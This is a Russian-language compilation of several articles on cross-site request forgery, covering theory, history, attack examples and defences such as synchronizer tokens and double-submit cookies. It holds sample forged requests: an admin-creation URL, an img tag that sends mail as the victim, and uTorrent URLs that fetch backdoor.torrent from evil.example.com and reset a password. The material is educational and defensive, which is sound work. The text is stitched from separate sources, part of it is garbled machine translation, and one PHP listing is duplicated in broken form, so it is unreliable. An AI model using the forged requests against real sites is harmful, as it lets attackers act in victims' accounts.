CSRF (Сross Site Request Forgery - подделка межсайтовых запросов) Так же известен как XSRF. Данный вид атак на посетителей интернет-сайтов использует недостатки HTTP протокола. Если жертва зайдет на сайт, который специально был создан злоумышленником, то от ее лица тайно отправится запрос на сторонний сервер (например сервер электронных платежей), осуществляющий некую вредоносную операцию (перевод денег на счет взломщика). Для успеха данной атаки, жертва должна быть авторизована на сервере, на который отправится запрос. Сам запрос не должен требовать подтверждения со стороны пользователя.

Вопреки бытующему мнения, данный тип атак появился весьма давно. Теоретические рассуждения по этому вопросу появились еще в 1988 году, а первые уязвимости обнаружили в 2000 году.

Одним из применений CSRF является эксплуатация пассивных XSS, обнаруженных на другом сервере. Возможны так же спам-рассылки от лица жертвы, изменение настроек учетной записи на другом сайте.

Самым простым способом защиты от подобного типа атак является механизм, когда сайт требует подтверждения почти всех действий пользователя.

Другим способом защиты является механизм, когда с сессией пользователя ассоциируется секретный ключ, необходимый для выполнения POST-запросов. Ключ посылается пользователем внутри каждого запроса, при выполнении различных действий, а сервер проверяет данный ключ. Плюс механизма в отсутствии необходимости осуществлять парсинг поля HTTP_REFERER, а следовательно отпадает необходимость учета многих нюансов возможных вариантов отсутствия или присутствия различных элементов этого поля.

Да я помню что я обещал в предыдущем сообщении написать про капчу, но, честно говоря, писать про эти капчи у меня уже сил нет. Да и надоело то, что мне, как аналитику ИБ, приходят в личку только предложения по взлому капч, и никакой другой нормальной работы.

В общем буду подниматься в глазах публики, начну писать статьи касательно безопасности. Мой профиль это в основном безопасность веб приложений, поэтому и писать я буду про безопасность веб приложений, в том числе и про уязвимости этих приложений.

Этот цикл статей будет посвящен CSRF уязвимостям . Не слышали такой термин? Значит этот цикл для вас;)

Введение

Конечно, нынче уже каждый более менее опытный разработчик наслышан про такие классические уязвимости как:

• SQL injection
• PHP include

Раньше, на заре развития интернета, практически каждое приложение содержало кучу таких уязвимостей. Но с каждым днем становилось все сложней встретить уязвимости такого типа. И взломщики становились все более изощреннее, что приводило к разработкам новых типов и векторов атаки — один из этих типов атаки был выделен в отдельный класс и получил название CSRF.

Что такое CSRF. Теория

Зайдем на википедию:

CSRF (англ. Сross Site Request Forgery - «Подделка межсайтовых запросов», также известен как XSRF) - вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

Если более понятным языком, то это атака, при которой злоумышленник пытается вынудить браузер жертвы создать запрос к целевому серверу, втайне от самой жертвы. Схематично это будет выглядеть следующим образом:

Данная атака в чем то похоже на классическую XSS, в которой злоумышленнику необходимо было вынудить жертву перейти по некоторой ссылке на уязвимую страницу. Здесь же необходимо вынудить пользователя перейти на специально подготовленную злоумышленником страницу, на которую был добавлен некоторый код. При выполнении данного кода браузер жертвы совершает некий запрос к другому серверу (допустим под видом загрузки изображения), и тем самым выполняет некие, нужные злоумышленнику, действия.

Опасность CSRF в том, что данное поведение браузеров и всего HTTP протокола является нормальным. К примеру, ведь нормально то, что сайт может на своих страницах содержать картинки с другого сайта. А браузеру неизвестно заранее что именно пытаются заставить его загрузить, действительно картинку, или под видом данной загрузки будет выполнено какое то действие на целевом сайте.

Немножко практики

Возьмем, к примеру, целевой сферический сайт в вакууме, который имеет вполне стандартную админку с функцией добавления нового администратора:

Разработчик данной формы ничего не знал об уязвимости CSRF, и защиты от нее он, естественно, не делал. Ну и плюс ко всему (чтобы пример был проще) он передавал данные методом GET. По нажатию кнопки «создать» браузер сформирует запрос к следующей странице:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
И после того как запрос будет выполнен, на данном сайте появится новый администратор. Казалось бы что с того — это вполне обычная функциональность на многих сайтах. Но здесь то и кроется главная ошибка. Жертву можно заставить выполнить данный запрос при заходе на абсолютно другой сайт. Создаем следующую страницу по адресу http://evil/page.html





С обычным текстом. Но с необычным содержимым



И теперь, если жертва зайдет на http://evil/page.html , то браузер попытается загрузить картинку, но вместо этого выполнит запрос к админ панели, тем самым создав нового администратора. Единственным обязательным условием успешной эксплуатации данной уязвимости является необходимость того, что жертва должна быть авторизована на уязвимом сервере в момент проведения атаки.

Заключение

С тем, что такое CSRF мы разобрались. Давайте попробуем выделить основные требования для успешного проведения атаки:

• Возможность вынудить жертву перейти на страницу с дополнительным кодом. Или возможность модификации злоумышленником часто посещаемых жертвой страниц (как говорится если гора не идет к Магомету, то…).
• Отсутствие защиты от CSRF на целевом сайте (о ней в ).
• Пользователь в момент атаки должен быть авторизован для действия, которое мы хотим выполнить от его имени.

И на основе этих требований попытаемся построить защиту в следующей статье…

Запрос Межсайтовая подделки , также известная как один клик атаки или сеанс езды и сокращенно CSRF (иногда выраженный морской прибой ) или XSRF , является одним из видов вредоносных эксплуатируют из веба - сайта , где несанкционированные команды передаются от пользователя , что веб приложение доверяет. Есть много способов, в которых вредоносный веб - сайт может передавать такие команды; специально созданные теги изображений, скрытые формы и JavaScript XMLHttpRequests, например, все это может работать без взаимодействия пользователя или даже знания. В отличии от межсайтового скриптинга (XSS), который использует доверие пользователя имеет для конкретного сайта, CSRF эксплуатирует доверие, что сайт имеет в браузере пользователя.

история

CSRF уязвимости известны и в некоторых случаях эксплуатации с 2001 года Поскольку осуществляется от пользователя IP - адрес , некоторые журналы веб - сайта может не иметь доказательства CSRF. Эксплойты занижены, по крайней мере публично, и по состоянию на 2007 г. было несколько хорошо документированных примеров:

• Netflix веб - сайт в 2006 году были многочисленные уязвимости к CSRF, которые могли бы позволить атакующему выполнять такие действия, как добавление DVD в аренду очереди жертвы, изменить адрес доставки на счету, или изменения учетных данных для входа жертвы, чтобы полностью скомпрометировать счет,
• Онлайн - банкинг веб - приложение ING Direct была уязвима для атак CSRF , что позволило незаконных денежных переводов.
• Популярное видео веб - сайт YouTube был также уязвим для CSRF в 2008 году, и это позволило любому злоумышленнику выполнить практически все действия любого пользователя.
• McAfee также уязвим для CSRF, что позволило злоумышленникам изменить свою систему компании.

Новые нападения на веб-устройства были проведены в 2018 году, в том числе попытки изменить настройки DNS маршрутизаторов. Некоторые производители маршрутизаторов поспешно выпустили обновление прошивки для улучшения защиты, и посоветовали пользователь изменять настройки маршрутизатора, чтобы уменьшить риск. Подробности не были освобождены, ссылаясь на «очевидные соображения безопасности».

Пример и характеристики

Злоумышленники, которые могут найти воспроизводимую ссылку, которая выполняет определенное действие на целевой странице, пока жертва регистрируется в может встроить такую ссылку на странице, которую они контролируют и обмануть жертву в его открытии. Ссылка атаки носителя может быть размещена в месте, что жертва, скорее всего, посетить, войдя в сайт - мишени (например, обсуждение на форуме), или отправить в теле письма HTML или вложении. Реальный CSRF уязвимости в Utorrent (CVE-2008-6586) использовали тот факт, что его веб - консоль доступна на локальном хосте : 8080 позволило критические действия, которые будут выполняться с помощью простого запроса GET:

Принудительная .torrent файл скачать HTTP: // локальный: 8080 / GUI / действие = добавление URL & s = HTTP: //evil.example.com/backdoor.torrent Изменение пароля администратора Utorrent HTTP: // локальный: 8080 / гуй / действие = setsetting & s = webui.password & v = eviladmin

Атаки были запущены путем размещения злонамеренных, автоматического действия элементов HTML изображений на форумах и спама в электронной почте , так что браузеры, посещающие эти страницы будут открывать их автоматически, без особых действий со стороны пользователя. Люди, работающие уязвимую версию Utorrent в то же время, открывая эти страницы были подвержены атаке.

CSRF атак с использованием тегов изображений часто делаются из интернет - форумов , где пользователи могут помещать сообщения изображения, но не JavaScript , например, с использованием BBCode :

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

При обращении к ссылке атаки на местном применении Utorrent на локальном хосте: 8080 , браузер будет также всегда автоматически отправлять любые существующие куки для этого домена. Это общее свойство веб - браузеров позволяет CSRF атак использовать свои целевые уязвимости и выполнения враждебных действий до тех пор, пока пользователь вошел в целевой веб - сайт (в данном примере локальный веб - интерфейс Utorrent) в момент нападения.

Запрос подлог кросс-сайт является запутаться заместитель атаки против веб - браузера.

CSRF обычно имеет следующие характеристики:

• Она включает в себя сайты, которые полагаются на пользователя идентичности .
• Он использует доверие сайта в этой идентичности.
• Она обманывает браузер пользователя в отправке HTTP - запросы на целевой сайт.
• Она включает в себя HTTP запросов, которые имеют побочные эффекты .

HTTP глаголы и CSRF

• В HTTP GET эксплуатация CSRF тривиальна, используя методы, описанные выше, такие как простая гиперссылка , содержащей манипулируют параметры и автоматически загружается с помощью тега IMG . По спецификации HTTP однако, GET следует использовать в качестве безопасного метода , то есть существенно не изменяя состояние пользователя в приложении. Приложения, использующие GET для таких операций следует переключиться на HTTP POST или использовать защиту от CSRF.
• HTTP POST имеет различные уязвимости к CSRF, в зависимости от подробных сценариев использования:
  • В простейшем виде POST с данными, закодированными в виде строки запроса (field1=value1&field2=value2) CSRF атаки легко реализуется с помощью простой формы HTML и анти-CSRF меры должны быть применены.
  • Если данные передаются в любом другом формате (JSON , XML) стандартный метод выдать запрос POST с использованием XMLHttpRequest с CSRF атак предотвращены СОП и ; есть метод для отправки произвольного содержимого из простой формы HTML с использованием ENCTYPE атрибута; такой поддельный запрос можно отличить от легитимных по text/plain типу контента, но если это не исполняется на сервере, CSRF может быть выполнен
• другие методы HTTP (PUT, DELETE и т.д.) может быть выдан только с использованием XMLHttpRequest с СОП и и предотвращения CSRF; Однако эти меры не будут активны на веб - сайтах, которые явно отключить их с помощью Access-Control-Allow-Origin: * заголовка

Другие подходы к CSRF

Кроме того, в то время, как правило, описываются в качестве статического типа атаки, CSRF также может быть динамически построена как часть полезной нагрузки для сценариев межсайтовой атаки, как показана на Samy червь, или построенный на лету из информации о сеансе просочились через выездные содержания и послал к цели, как вредоносный URL. CSRF токены также может быть отправлены клиентом злоумышленником из - за фиксацию сессии или другие уязвимости, или угадали с помощью грубой силы атаки, переводимой на вредоносной странице, который генерирует тысячи неудачных запросов. Класс атаки «Dynamic CSRF», или с помощью полезной нагрузки каждого клиента для сеанса конкретного подлог, была описана в 2009 году Натан Hamiel и Шон Мойер на BlackHat брифингах, хотя систематика еще, чтобы получить более широкое применение.

Новый вектор для составления динамических атак CSRF был представлен Орен Офер на местном собрании OWASP главы января 2012 года - «АЯКС Молот - Dynamic CSRF».

Последствия

Серьезность показатели были выпущены на уязвимости CSRF , которые приводят к удаленному выполнению кода с привилегиями суперпользователя , а также уязвимость, которая может скомпрометировать корневой сертификат , который будет полностью подорвет инфраструктуру открытого ключа .

Ограничения

Некоторые вещи должны произойти для запроса межсайтового подлог, чтобы добиться успеха:

1. Злоумышленник должен предназначаться либо сайт, который не проверяет заголовок реферера или жертву с помощью браузера или плагин, который позволяет Referer подмену .
2. Атакующий должен найти форму представления на целевом сайте, или URL, который имеет побочные эффекты, что делает что-то (например, переводит деньги, или изменения адреса электронной почты жертвы или пароль).
3. Атакующий должен определить правильные значения для всех форм или входов URL; если любой из них должны быть секретные значения аутентификации или идентификаторы, что злоумышленник не сможет догадаться, что нападение, скорее всего, не в состоянии (если злоумышленник не очень повезло в их догадка).
4. Злоумышленник должен заманить жертву на веб-страницу с вредоносным кодом, пока жертва регистрируется в целевом сайте.

Атака слепа: атакующий не может видеть то, что целевой сайт отсылает обратно к жертве в ответ на кованых запросы, если они не эксплуатируют Межсайтовый скриптинг или другую ошибку на целевом сайте. Кроме того, злоумышленник может предназначаться только какой - либо ссылка или представить любые формы, которые приходят после первоначального кованого запроса, если эти последующие ссылки или формы так же предсказуемы. (Множественные цели могут быть смоделированы путем включения нескольких изображений на странице, или с помощью JavaScript , чтобы ввести задержку между щелчками.)

С учетом этих ограничений, злоумышленник может иметь трудности в поиске анонимов жертв или уязвимую форма представления. С другой стороны, попытки атаки легко монтируется и незаметно для жертв, и разработчики приложений менее знакомы и подготовлены к атакам CS, чем они, скажем, для взлома паролей атак по словарю.

профилактика

Большинство методов профилактики CSRF работа пути внедрения дополнительных данных аутентификации в запросы, что позволяет веб-приложение для обнаружения запросов от несанкционированных мест.

Синхронизатор маркер модели

• При входе в систему, веб-приложение устанавливает печенье, содержащее случайный маркер, который остается неизменным на протяжении всего сеанса пользователя

Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/

• JavaScript работает на стороне клиента считывает значение и копирует его в пользовательский заголовок HTTP отправленного с каждым транзакционного запроса

X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• Сервер проверяет наличие и целостность маркеров

Безопасность этого метода основана на предположении, что только JavaScript работает в пределах того же происхождения , будет иметь возможность прочитать значение куков в. JavaScript работает с изгоями файла или адрес электронной почты не будет в состоянии прочитать и скопировать в пользовательский заголовок. Даже несмотря на то, CSRF-маркер куки будут автоматически отправлены с изгоев запроса, сервер будет по- прежнему ожидает действительный X-CSRF-токен заголовок .

Маркер CSRF сам должен быть уникальным и непредсказуемым. Это может быть сгенерировано случайным образом, или же она может быть получена из маркеров сеанса с использованием HMAC :

Csrf_token = HMAC(session_token, application_secret)

Маркер печенье CS не должно иметь HTTPOnly флага, так как он предназначен для чтения с помощью JavaScript дизайна.

Этот метод реализуется многими современными рамками, такими как Джанго и AngularJS . Поскольку маркер остается постоянной в течение всего сеанса пользователя, он хорошо работает с AJAX - приложений, но не обеспечивает последовательность событий в веб - приложения.

Защита обеспечивается с помощью этого метода может быть сорвана, если целевой веб - сайт отключает свою политику того же происхождение , используя один из следующих методов:

• Разрешительный Access-Control-Allow-Origin заголовок (с звездочкой аргумента)
• clientaccesspolicy.xml файл предоставления непреднамеренного доступа к Silverlight управления
• crossdomain.xml файл предоставления непреднамеренного доступа к флэш - роликов

Двухместный Отправить Cookie

Аналогично подход печенье к-заголовку, но без участия JavaScript, сайт может установить маркер CSRF как печенье, а также вставить его в скрытом поле в каждой HTML форме, отправляемый клиент. Когда форма отправлена, сайт может проверить, что маркер печенья соответствует форме маркеров. Политика общего происхождения препятствует взломщику от чтения или установок куков на целевом домене, поэтому они не могут поставить правильный маркер в их созданном виде.

Преимущество этого метода над рисунком синхронизатора является то, что маркер не должен храниться на сервере.

Клиентские гарантии

Расширения браузера, такие как RequestPolicy (для Mozilla Firefox) или Umatrix (как для Firefox и Google Chrome / Chromium) может предотвратить CSRF, предоставляя политику по умолчанию, отрицаю для запросов кросс-сайта. Тем не менее, это может существенно помешать нормальной работе многих сайтов. Расширение CsFire (также для Firefox) может смягчить воздействие CSRF с меньшим воздействием на обычном просмотре, путем удаления информации об аутентификации от запросов кросс-сайта.

От автора: поводом к записи данного урока послужил вопрос на нашем форуме, который звучал следующим образом — как защитить сайт от CSRF -атак? Конечно мы сразу же ответили по данной теме и привели небольшой алгоритм по реализации механизма защиты. Но так как, скорее всего форум читают, далеко не все наши читатели я решил записать отдельный урок по вышеуказанному вопросу.

Сразу же хотел бы отметить, что в текущем видео не будет приведено полноценное готовое решение, которое можно внедрить на необходимый сайт. Потому как у каждого из Вас есть или же будет сайт, с уникальной логической структурой, то есть совсем не похожий на другие, а значит невозможно создать готовый скрипт защиты, соблюдая абсолютно все возможные варианты реализации.

Да и это не нужно, так как суть механизма защиты довольно проста, и поэтому в текущем видео на примере тестового сайта, Вы увидите, как можно защититься от вышеуказанного типа атаки, а далее на основе полученных знаний Вы проделаете аналогичные шаги на собственном проекте. Итак, давайте приступать.

CSRF – это аббревиатура образованная английскими словами Cross-Site Request Forgery, что означает межсайтовая подделка запросов. Данный термин введен уже достаточно давно еще 2001 году Питером Воткинсом, но говорить о возможных атаках подобного рода начали еще в далеком 1988 году. При этом заметьте, прошло уже достаточное количество времени, но все же данной атаке подвергается большая часть веб-сайтов интернета. Сразу же возникает вопрос – почему так? И ответ довольно прост и заключается в том, что уязвимость к атакам CSRF — это не ошибка кода приложения, а следствие вполне обычной работы браузера и веб-сервера.

Суть атаки заключается в том, что злоумышленник может выполнить на незащищенном сайте различные действия от имени другого зарегистрированного (авторизированного) пользователя. Другими словами данный тип атаки предусматривает посещение пользователем сайта злоумышленника, что в свою очередь приводит к тому, что незаметно для него выполняются некоторые заранее прописанные действия на другом сайте или сервисе, на котором этот пользователь в данный момент авторизован.

При этом, как правило, целями CSRF-атак являются различные интерактивные Web-приложения, которые выполняют конкретные действия, к примеру, сервисы по отправке электронной почты, различные форумы, платежные системы и т.д. То есть, хакер может выполнять некоторые действия от имени других пользователей — отправлять сообщения, добавлять новые учетные записи, осуществлять финансовые операции и т.д.

Теперь давайте рассмотрим действие указанной атаки на примере тестового сайта.

Предположим, что есть веб-сайт, задача которого сводится к отправке электронного сообщения по указанному адресу от имени некого авторизированного пользователя. То есть на главной странице мы видим форму, для отправки сообщения. Более того здесь же предусмотрен механизм отправки сообщений, при передачи определенных параметров через GET запрос (просто для примера). При этом страница авторизации выглядит следующим образом.

Данная страница вполне обычная, но в глаза бросается чек-бокс “Member”, который используется для сохранения данный авторизации в куках браузера. Собственно данный механизм очень удобен пользователям, так как упрощает повторный доступ к странице, но крайне не желателен с точки зрения безопасности. Но все же ради посетителей часто приходится идти на определенные уступки.

Код отправки сообщений двумя методами (GET и POST) выглядит примерно следующим образом:

//Отправка сообщения if($this->isGet() && !empty($_GET["email"])) { $body = "Hello this is message form - ".$this->user["name"]; $body .= " Content - from GET - ".$_GET["content"]."From - ".$_GET["email"]; mail("[email protected]","New message",$body); } if($this->isPost()) { $body = "Hello this is message form - ".$this->user["name"]; $body .= " Content - FROM POST - ".$_POST["content"]."From - ".$_POST["email"]; mail("[email protected]","New message",$body); }

//Отправка сообщения if ($ this -> isGet () && ! empty ($ _GET [ "email" ] ) ) { $ body = . $ this -> user [ "name" ] ; $ body . = " Content - from GET - " . $ _GET [ "content" ] . "From - " . $ _GET [ "email" ] ; if ($ this -> isPost () ) { $ body = "Hello this is message form - " . $ this -> user [ "name" ] ; $ body . = " Content - FROM POST - " . $ _POST [ "content" ] . "From - " . $ _POST [ "email" ] ; mail ("[email protected]" , "New message" , $ body ) ;

Теперь, рассмотрим еще один сайт – сайт хакера.

На котором он может разместить, довольно простой, но очень эффективный код,если необходимо произвести атаку по запросу типа GET:

< img src = "http://localhost/csrf/[email protected]&content=Hello world" >

То есть, по сути, мы видим тег img, в атрибуте src которого располагается путь к сайту, предполагаемого для атаки, с набором необходимых параметров, для выполнения конкретного действия. В нашем случае это отправка сообщения, а значит, теперь злоумышленнику достаточно заманить пользователя на текущий сайт и незаметно от него, будет осуществлен запрос к интересующему сайту, так как браузер будет пытаться загрузить изображение, путь к которому указан в атрибуте src. При этом мы помним, что в куках браузера хранятся данные для авторизации и, конечно же, приложение сразу же их использует и соответственно вышеуказанный запрос успешно будет обработан сервером. А это означает, что будет отправлено сообщение от имени пользователя.

Если посмотреть набор заголовков, которые отправляются вместе с запросом, то действительно, мы сможем увидеть и куки, с данными для входа в учетную запись, что само собой означает – как было сказано выше, что запрос будет воспринят как исходящий от аутентифицированного пользователя.

Точно такая же ситуация обстоит и с отправкой запроса методом POST, единственно в этом случае злоумышленник создаст на своем сайте форму, которая будет автоматически отправляться при помощи JavaScript ,как только посетитель зайдет на данный сайт.

Таким образом защищаться от атак подобного рода нужно обязательно и единственный наиболее эффективный способ защиты – это использование специальных токенов.

Защитный токен – это строка, которая генерируется случайным образом под конкретного пользователя и передается в каждом запросе, который предусматривает изменение данных. Помимо этого токен,так же сохраняется и в сессии. Таким образом, суть защиты, сводится к простой проверке соответствия токена, который передается в запросе и токена который хранится в сессии. Если оба токена идентичны, значит, запрос отправил авторизированный пользователь. Если токены не совпадают, или в запросе его вообще нет – с большой уверенностью можно судить, что осуществляется атака, а значит, никакие действия выполнять нельзя.

Заметьте, что защищать нужно абсолютно все запросы, которые направлены на изменение или же выполнение определенных действий.

Собственно на данном этапе текстовая часть урока завершена и продолжим говорить поданной теме мы уже в видео версии. При этом мы рассмотрим способы генерации токенов и практически реализуем алгоритм работы защиты, который описан выше. А сейчас давайте прощаться. Удачного кодирования!!!

Я попытался описать что именно представляет из себя данная уязвимость и, что не маловажно, выполнение каких условий необходимо для проведения атаки типа CSRF.

В данной статье я попытаюсь рассказать о защите от атак данного типа со сторон:

• Со стороны клиента — основные способы защитить себя самому
• Со стороны сервера — правильное проектирование приложения

Если вам интересно как защититься от CSRF то добро пожаловать под кат.

Общая информация

В общем то хочу напомнить, CSRF — это НЕ уязвимость, это вид атаки. И данная атака проводится на конечного пользователя веб приложения с помощью уязвимости в данном приложении, которую можно назвать как «Отсутствие надлежащей проверки источника запроса» (название я придумал сам, не судите строго, но это так). Но здесь и далее я буду называть CSRF уязвимостью и атакой в одном лице так, как это проще, да и именно так принято =)

И раз атака проводится на пользователя, то и пользователю защищаться… шутка =) Дело в том что любой пользователь может снизить возможность проведения данной атаки на любом сайте, которым он пользуется (даже если на этих сайтах нет встроенной защиты от CSRF). Но помимо пользователей, сами разработчики сайтов могут спроектировать свое приложение так, чтобы недопустить возможность проведения данной атаки на своих пользователей.

Рассмотрим защиту с обоих сторон.

Защита со стороны пользователя

Вообщем тут все очень банально:

• Не переходить на ссылки предложенные вам третьими лицами. Это самый банальный совет, я думаю это все и так знают, но решил лишний раз сказать об этом.
• Деавторизовываться по окончанию работы с конкретным сайтом. Даже при наличии уязвимости, злоумшленник не сможет выполнить действия на целевом сайте от вашего имени.
• Использовать отдельный браузер или «приватные или анонимные режимы» для работы с важными сайтами (в идеале использовать по одному браузеру на каждый сайт ^_^ а еще лучше отдельный компьютер:D).

На этом все. Теперь перейдем к главному.

Защита со стороны разработчиков

Как уже было сказанно, уязвимость заключается в отсутствии надлежащей проверки источника запроса. То есть при разработке приложения нам нужно встроить функционал проверки этого источника. И чтоже первым делом нам приходит в голову? Правильно! Проверка Referer.

Проверка Referer

Сразу скажу, для тех кто читает статьи по диагонали. Основывать свою защиту только на проверке этого заголовка — плохо(!). Почему — см. далее.

Для начала разберемся, в чем заключается этот способ.

С сайтами мы работаем по HTTP протоколу. Каждый пакет этого протокола представляет собой набор заголовков + содержимое пакета. Одним из этих заголовков является Referer. Он содержит адрес источника перехода. Банальный пример: у вас открыт сайт A , на данном сайте вы кликаете на ссылку на сайт B , в этот момент при запросе в заголовке Referer будет содержатся адрес сайта A . То есть казалось бы это идеальный механизм для отслеживания откуда пришел пользователь.

А вот хрен. И дело здесь не в том что можно подделать реферер (какой здравомыслящий взломщик будет просить жертву о том, чтобы она подменила реферер и перешла по указанной ссылке). А в том что по моей статистике у около 5% пользователей передача Referer отключенна. То есть либо эти пять процентов не смогут работать с сайтом вообще, либо они будут уязвимы к этой атаке (зависит от политики вашего приложения).

Да, да, да, я знаю о чем вы подумали… Ну и фиг с этими 5%? Пусть будут уязвимы, зато остальные 95% защищены и при этом вы обошлись малой кровью. То есть если реферер содержит адрес нашего приложения либо пуст, то считаем источник подтвержденным? А вот снова хрен! Существуют варианты заставить браузер жертвы выполнить запрос без указания реферера (об этом я написал )! И вуаля! Оказывается все пользователи по-прежнему уязвимы.

Воощем как самостоятельный способ данный метод бессмыслен.

Подтверждение действия

Можно к каждой форме отправке прикрутить капчу, и показывать ее даже для зарегестрированных пользователей, чтобы спасти их от CSRF… Хотя пожалуй, я бы предпочел отдать свой аккаунт хакеру, чем работать в такой системе…

Токены

Ну и теперь единственный правильный и надежный способ.

Смысл данного способа заключается в добавлении параметра содержащего некоторый «токенов» к каждой ссылке, форме отправки и проч. А при получении запроса сервер должен проверять наличие данного токена в принятых параметрах. Естественно каждый токен для каждого пользователя должен быть уникальным, а еще лучше если каждый токен будет уникальным.

Один из самых простых и надежных примеров реализации — токен генерируется при каждом запросе новый и устанавливается в cookies пользователя а также добавляется в параметры форм и ссылок на странице:

И затем при получении каждого запроса сравнивается токен из куков и токен указанный в параметрах формы. И если они одинаковы, то источник запроса легален. Затем токен генерируется снова, и снова устанавливается в куки, и т.д. по кругу.

Вообще реализация может быть другая, но проблема в том что переход на токены это довольно сложно так как приходится учитывать каждую ссылку, каждую форму, каждую страницу… Можно защищать только важные страницы/формы/ссылки, но тогда есть шанс какие то из них упустить.

Я лично защищаю только POST формы и очень важные ссылки. То есть POST в моих приложениях не работает без наличия правильного токена. Это избавляет от шанса забыть защитить какую то форму, так как она просто не будет работать и я сразу это замечу.

Вывод

Надеюсь из данной статьи вы поняли каким образом следует защищаться от CSRF атак.